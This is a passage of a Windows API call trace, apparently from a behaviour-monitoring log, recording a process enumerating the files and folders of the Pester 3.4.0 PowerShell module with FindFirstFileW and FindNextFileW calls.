ftCreationTime.dwLowDateTime=0x98794c2c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x98794c2c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x98794c2c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3a7a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CHANGELOG.md", cAlternateFileName="")) returned 1 [0193.868] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x987bae9f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x987bae9f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x987bae9f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x13d4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="chocolateyInstall.ps1", cAlternateFileName="")) returned 1 [0193.868] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc8aca62, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7cca5f, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-US", cAlternateFileName="")) returned 1 [0193.868] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x46c4f78 [0193.869] lstrlenW (lpString="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\en-US") returned 67 [0193.869] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\en-US\\*", lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc8aca62, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7cca5f, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4531c40 [0193.869] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc8aca62, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7cca5f, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0193.869] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e57727, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e57727, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e57727, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc26, dwReserved0=0x0, dwReserved1=0x0, cFileName="about_BeforeEach_AfterEach.help.txt", cAlternateFileName="")) returned 1 [0193.869] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98794c2c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x98794c2c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x98794c2c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x18fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="about_Mocking.help.txt", cAlternateFileName="")) returned 1 [0193.869] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e57727, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e57727, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e57727, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x13c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="about_Pester.help.txt", cAlternateFileName="")) returned 1 [0193.869] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97de4ff6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97de4ff6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97de4ff6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1739, dwReserved0=0x0, dwReserved1=0x0, cFileName="about_should.help.txt", cAlternateFileName="")) returned 1 [0193.870] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x987224f6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x987224f6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x987224f6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x484, dwReserved0=0x0, dwReserved1=0x0, cFileName="about_TestDrive.help.txt", cAlternateFileName="")) returned 1 [0193.870] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x987224f6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x987224f6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x987224f6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x484, dwReserved0=0x0, dwReserved1=0x0, cFileName="about_TestDrive.help.txt", cAlternateFileName="")) returned 0 [0193.870] FindClose (in: hFindFile=0x4531c40 | out: hFindFile=0x4531c40) returned 1 [0193.870] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46c4f78 | out: hHeap=0x710000) returned 1 [0193.870] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc8acf9a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Examples", cAlternateFileName="")) returned 1 [0193.870] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x46c4f78 [0193.870] lstrlenW (lpString="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Examples") returned 70 [0193.870] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Examples\\*", lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc8acf9a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4531880 [0194.174] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc8acf9a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.174] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc8ad5fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7cca5f, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Calculator", cAlternateFileName="CALCUL~1")) returned 1 [0194.174] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4510050 [0194.174] lstrlenW (lpString="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Examples\\Calculator") returned 81 [0194.174] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Examples\\Calculator\\*", lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc8ad5fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7cca5f, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4531700 [0194.175] FindNextFileW (in: hFindFile=0x4531700, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc8ad5fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7cca5f, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0194.175] FindNextFileW (in: hFindFile=0x4531700, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e0b25d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e0b25d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e0b25d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x37, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Add-Numbers.ps1", cAlternateFileName="")) returned 1 [0194.175] FindNextFileW (in: hFindFile=0x4531700, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e57727, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e57727, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e57727, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x25e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Add-Numbers.Tests.ps1", cAlternateFileName="")) returned 1 [0194.175] FindNextFileW (in: hFindFile=0x4531700, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e57727, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e57727, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e57727, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x25e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Add-Numbers.Tests.ps1", cAlternateFileName="")) returned 0 [0194.175] FindClose (in: hFindFile=0x4531700 | out: hFindFile=0x4531700) returned 1 [0194.176] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0194.176] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc8adae3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7cca5f, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Validator", cAlternateFileName="VALIDA~1")) returned 1 [0194.176] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4510050 [0194.176] lstrlenW (lpString="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Examples\\Validator") returned 80 [0194.176] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Examples\\Validator\\*", lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc8adae3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7cca5f, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4531700 [0194.176] FindNextFileW (in: hFindFile=0x4531700, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc8adae3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7cca5f, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0194.176] FindNextFileW (in: hFindFile=0x4531700, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x986fc293, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x986fc293, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x986fc293, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x336, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Validator.Tests.ps1", cAlternateFileName="")) returned 1 [0194.176] FindNextFileW (in: hFindFile=0x4531700, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x986fc293, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x986fc293, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x986fc293, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x336, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Validator.Tests.ps1", cAlternateFileName="")) returned 0 [0194.176] FindClose (in: hFindFile=0x4531700 | out: hFindFile=0x4531700) returned 1 [0194.176] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0194.177] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc8adae3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7cca5f, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Validator", cAlternateFileName="VALIDA~1")) returned 0 [0194.177] FindClose (in: hFindFile=0x4531880 | out: hFindFile=0x4531880) returned 1 [0194.177] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46c4f78 | out: hHeap=0x710000) returned 1 [0194.178] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc8fc051, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7f2cc1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Functions", cAlternateFileName="FUNCTI~1")) returned 1 [0194.178] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4510050 [0194.178] lstrlenW (lpString="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions") returned 71 [0194.178] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\*", lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc8fc051, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7f2cc1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4531d00 [0194.180] FindNextFileW (in: hFindFile=0x4531d00, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc8fc051, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7f2cc1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.180] FindNextFileW (in: hFindFile=0x4531d00, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc95c764, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a83f191, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assertions", cAlternateFileName="ASSERT~1")) returned 1 [0194.180] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4520058 [0194.180] lstrlenW (lpString="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\Assertions") returned 82 [0194.180] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\Assertions\\*", lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc95c764, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a83f191, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4531880 [0194.183] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc95c764, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a83f191, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0194.183] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e0b25d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e0b25d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e0b25d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1021, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Be.ps1", cAlternateFileName="")) returned 1 [0194.183] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9876e9c4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9876e9c4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9876e9c4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Be.Tests.ps1", cAlternateFileName="")) returned 1 [0194.183] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e57727, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e57727, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e57727, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x176, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BeGreaterThan.ps1", cAlternateFileName="")) returned 1 [0194.183] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x986fc293, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x986fc293, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x986fc293, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1ff, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BeGreaterThan.Tests.ps1", cAlternateFileName="")) returned 1 [0194.183] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98748765, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x98748765, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x98748765, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x16d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BeLessThan.ps1", cAlternateFileName="")) returned 1 [0194.183] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e314c8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e314c8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e314c8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1ee, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BeLessThan.Tests.ps1", cAlternateFileName="")) returned 1 [0194.184] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e314c8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e314c8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e314c8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x185, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BeLike.ps1", cAlternateFileName="")) returned 1 [0194.184] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e0b25d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e0b25d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e0b25d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1e9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BeLike.Tests.ps1", cAlternateFileName="")) returned 1 [0194.184] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e314c8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e314c8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e314c8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x19d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BeLikeExactly.ps1", cAlternateFileName="")) returned 1 [0194.184] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98794c2c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x98794c2c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x98794c2c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1fc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BeLikeExactly.Tests.ps1", cAlternateFileName="")) returned 1 [0194.184] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaeb94 | out: 